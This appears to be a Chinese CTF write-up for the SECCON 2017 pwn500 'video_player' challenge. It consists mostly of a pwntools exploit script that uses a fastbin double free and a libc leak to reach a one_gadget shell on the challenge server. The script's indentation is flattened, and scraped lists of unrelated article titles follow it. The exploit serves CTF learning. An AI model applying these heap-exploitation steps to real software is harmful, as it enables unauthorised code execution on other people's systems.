感觉这个题目并不值500分,有些地方比较牵强,漏洞也比较明显,解题方法有多种,出题者把堆的布局随机化了,不过使用fastbin doublefree的话,可以完全忽视被打乱的堆。

 from pwn import *
#context.log_level='debug'
#wah
def newaudioclip(r, bitrate, length, data, description):
r.recvuntil('>>> ')
r.sendline('')
r.recvuntil('>>> ')
r.sendline('')
r.recvuntil('Audio Bitrate : ')
r.send(bitrate)
r.recvuntil('Audio Length (seconds) : ')
r.send(length)
r.recvuntil('Audio Data : ')
r.send(data)
r.recvuntil('Add description : ')
r.send(description) def newvideoclip(r, rs, fps, num, data, description):
r.recvuntil('>>> ')
r.sendline('')
r.recvuntil('>>> ')
r.sendline('')
r.recvuntil('Video Resolution : ')
r.send(rs)
r.recvuntil('FPS : ')
r.send(fps)
r.recvuntil('Number of Frames : ')
r.send(num)
r.recvuntil('Video Data : ')
r.send(data)
r.recvuntil('Add description : ')
r.send(description) def newmetadataclip(r, date, owner):
r.recvuntil('>>> ')
r.sendline('')
r.recvuntil('>>> ')
r.sendline('')
r.recvuntil('Date of Creation : ')
r.send(date)
r.recvuntil('Owner of video : ')
r.send(owner) def editvideoclip(r, inx, rs, fps, num, data, description):
r.recvuntil('>>> ')
r.sendline('')
r.recvuntil('Enter index : ')
r.sendline(inx)
r.recvuntil('Video Resolution : ')
r.send(rs)
r.recvuntil('FPS : ')
r.send(fps)
r.recvuntil('Number of Frames : ')
r.send(num)
r.recvuntil('Video Data : ')
r.send(data)
r.recvuntil('Edit description : ')
r.send(description) def delclip(r, inx):
r.recvuntil('>>> ')
r.sendline('')
r.recvuntil('Enter index : ')
r.sendline(inx) close = 0
def playvideoclip(r, inx):
global close
r.recvuntil('>>> ')
r.sendline('')
r.recvuntil('Enter index : ')
r.sendline(inx)
r.recvuntil('Playing video...\n')
tmp8 = r.recv(8)
final8 = ''
for i in range(0, 8):
final8 += chr(ord(tmp8[i])^0xcc)
close = u64(final8)
print('leaked close is %x'%close) chunk = 0
def playvideoclip1(r, inx):
global chunk
r.recvuntil('>>> ')
r.sendline('')
r.recvuntil('Enter index : ')
r.sendline(inx)
r.recvuntil('Playing video...\n')
tmp8 = r.recv(8)
final8 = ''
for i in range(0, 8):
final8 += chr(ord(tmp8[i])^0xcc)
chunk = u64(final8)
print('leaked chunk is %x'%chunk) def playvideoclip2(r, inx):
r.recvuntil('>>> ')
r.sendline('')
r.recvuntil('Enter index : ')
r.sendline(inx) if 0:
ip = '127.0.0.1'
port = 10001
else:
ip = 'video_player.pwn.seccon.jp'
port = 7777 def getpid():
import time
exe = 'video_player'
time.sleep(0.1)
pid= pwnlib.util.proc.pidof(exe)
print pid
raw_input('go!') def pwnpwn():
r = remote(ip, port)
r.recvuntil('What is your movie name?')
getpid()
r.send('\x00'*0xff)
#newaudioclip(r, bitrate, length, data, description):
newaudioclip(r, p16(30), p32(0x50), '\x00', '\x00')
#
newvideoclip(r, p64(0), p32(0), p32(0x30), '\x00', '\x00')
editvideoclip(r, '', p64(0), p32(0), p32(0x50), '\x00', '\x00') delclip(r, '')
delclip(r, '') #
newvideoclip(r, p64(0), p32(0), p32(0x50), '\x00', '\x00') data = p64(0x00402968) + p64(0x0) + p32(0x0) + p32(0x50) + p64(0x00604028)
editvideoclip(r, '', p64(0), p32(0), p32(0x50), data, '\x00')
playvideoclip(r, '') #
close_offset = 0xF78B0
binsh_offset = 0x18CD17
system_offset = 0x45390
one_gadget_offset = 0xf1117
binsh = close - close_offset + binsh_offset
system = close - close_offset + system_offset
one_gadget = close - close_offset + one_gadget_offset
data1 = p64(0)*2+p64(one_gadget)
newmetadataclip(r, data1, '\x00'*0x1f) data2 = p64(0x00402968) + p64(0x0) + p32(0x0) + p32(0x50) + p64(0x0000000000604400+3*8)
editvideoclip(r, '', p64(0), p32(0), p32(0x50), data2, '\x00')
playvideoclip1(r, '') raw_input('here')
data3 = p64(chunk)
editvideoclip(r, '', p64(0), p32(0), p32(0x50), data3, 'b'*0x2f)
playvideoclip2(r, '')
r.interactive() pwnpwn()

Seccon2017-pwn500-video_player的更多相关文章

  1. 胖哈勃杯Pwn400、Pwn500详解

    概述 这次的胖哈博杯我出了Pwn400.Pwn500两道题目,这里讲一下出题和解题的思路.我个人感觉前两年的Pwn题更多的是考察单一的利用技巧,比我这有个洞怎么利用它拿到权限.但是我研究了一些最近的题 ...

  2. 基于开源 Openfire 聊天服务器 - 开发Openfire聊天记录插件[转]

    上一篇文章介绍到怎么在自己的Java环境中搭建openfire插件开发的环境,同时介绍到怎样一步步简单的开发openfire插件.一步步很详细的介绍到简单插件开发,带Servlet的插件的开发.带JS ...

  3. iscc2016 pwn部分writeup

    一.pwn1 简单的32位栈溢出,定位溢出点后即可写exp gdb-peda$ r Starting program: /usr/iscc/pwn1 C'mon pwn me : AAA%AAsAAB ...

  4. ZCTF-Pwn

    版权声明:本文为博主原创文章,未经博主允许不得转载.  最近有了点时间,把ZCTF的pwn总结了下,就差最后一个pwn500,另找时间总结. 文件打包:http://files.cnblogs.com ...

  5. 老司机教你下载tumblr上视频和图片的正确姿势

    本文面向初学者. 很多同学问我:“我非常想学Python编程,但是找不到兴趣点”. 还有的同学呢,找到了很好的兴趣点,但是无从下手,“玄魂老师,我想下载tumblr上的视频, 怎么下载,Python能 ...

  6. phpcms添加视频

    phpcms添加视频分为三种情况,一种是在首页播放,一种是在列表页播放,另一种是在内容页播放.其中在首页播放和在列表页播放的区别就是catid值是固定的还是取得当前catid的区别.而在首页和列表页播 ...

  7. openfire:基于开源 Openfire 聊天服务器 - 开发Openfire聊天记录插件

    基于开源 Openfire 聊天服务器 - 开发Openfire聊天记录插件 上一篇文章介绍到怎么在自己的Java环境中搭建openfire插件开发的环境,同时介绍到怎样一步步简单的开发openfir ...

  8. 基于开源 Openfire 聊天服务器 - 开发Openfire聊天记录插件

    原文:http://www.cnblogs.com/hoojo/archive/2013/03/29/openfire_plugin_chatlogs_plugin_.html 随笔-150  评论- ...

  9. HTML5 Video player jQuery plugin

    <!DOCTYPE html> <html lang="en" > <head> <meta charset="utf-8&qu ...

  10. flutter packages.

    connectivity This plugin allows Flutter apps to discover network connectivity and configure themselv ...

随机推荐

  1. spring的@Transactional注解详细用法(转载)

    概述 事务管理对于企业应用来说是至关重要的,即使出现异常情况,它也可以保证数据的一致性.Spring Framework对事务管理提供了一致的抽象,其特点如下: 为不同的事务API提供一致的编程模型, ...

  2. vsftp or pureftpd

    一.安装pureftpd //这个软件比vsftp配置起来更加灵活和安全. /*官网是 http://www.pureftpd.org/project/pure-ftpd*/ [root@localh ...

  3. c# 解析json 字符串 报异常 Bad JSON escape sequence 解决方案

    当我试图将一个完整的本地路径的字符串串(如:c:\\aaa\\数学题\\三一班\\ea15ae66-d5cd-4244-87e4-fcf97b06b407.jpg)encodeURL之后当做一个页面参 ...

  4. 20165330 实验一 Java开发环境的熟悉

    一.实验内容及步骤 使用JDK编译.运行简单的Java程序 使用命令 cd 20165330 进入到学号目录下 mkdir exp1新建文件夹 mkdir bin src建立bin src目录 vim ...

  5. git学习(6)多人协作

    git学习(6)多人协作 当我们从远程仓库克隆的时候,git会自动的把本地的master和远程的master对应起来,并且远程仓库的默认名称是origin 查看远程库的信息 $ git remote ...

  6. WHICH ONE IS BETTER FOR NEWBIE?

    DROP PROCEDURE IF EXISTS w_array; DELIMITER /w/ )) BEGIN ) DO SET @w = LOCATE(',', w_arr); ); SET @w ...

  7. 每天一個Linux指令- chmod指令

    拷貝來源: 01.http://www.cnblogs.com/peida/archive/2012/12/05/2803591.html 02.http://www.cnblogs.com/peid ...

  8. SpringCloud 入门

    1. 入门概述 SpringBoot专注于快速方便的开发单个个体微服务; SpringCloud:关注全局的微服务协调治理框架,它将SpringBoot开发的一个个单体微服务整合并管理起来, 为各个微 ...

  9. Safe Or Unsafe--hdu2527(哈夫曼树求WPL)

    题目链接:http://acm.hdu.edu.cn/showproblem.php?pid=2527 用优先队列模拟 #include<iostream> #include<std ...

  10. redis实现cache系统实践(六)

    1. 介绍 rails中就自带有cache功能,不过它默认是用文件来存储数据的.我们要改为使用redis来存储.而且我们也需要把sessions也存放到redis中.关于rails实现cache功能的 ...